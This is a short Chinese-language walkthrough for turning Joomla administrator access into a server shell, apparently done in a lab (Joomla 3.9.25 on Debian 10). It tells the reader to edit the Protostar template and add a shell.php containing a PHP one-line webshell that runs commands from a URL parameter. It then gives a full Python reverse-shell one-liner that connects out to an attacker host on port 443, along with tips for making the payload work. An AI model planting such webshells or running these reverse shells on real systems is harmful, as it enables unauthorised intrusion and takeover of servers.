Joomla
一、当获得 Joomla 后台管理员的凭据时,该如何依据当前情况继续获得服务器的 shell。
实验环境:joomla 3.9.25 + Debian 10
(1)导航到 Extensions-Templates-Templates 模板页面,选中第二个 Protostar 模板并进行编辑。


(2)在根目录下新增 shell.php 文件,代码可以是 php 反向 shell,或一句话木马。【注:本例以一句话木马为例。】
注:也可以直接在根目录下的 index.php 文件中添加 php 反向载荷,但如此的话,需访问
http://192.168.56.84/joomla/index.php才能触发反向连接,但也会导致主页卡住,效果不佳。
<?php echo 'ok' ?>
<?php echo shell_exec($_GET['cmd']);?>


(3)访问模板文件网址 http://192.168.56.84/joomla/templates/protostar/shell.php?cmd=id,可以看到一句话木马执行成功。

(4)构造 bash 反向 shell,通过一句话进行反连。http://192.168.56.84/joomla/templates/protostar/shell.php?cmd=python3.7 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.56.20",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
注意:url 中的cmd 参数的值不要加单双引号,否则可能会有问题,载荷执行不成功。
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.56.20",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
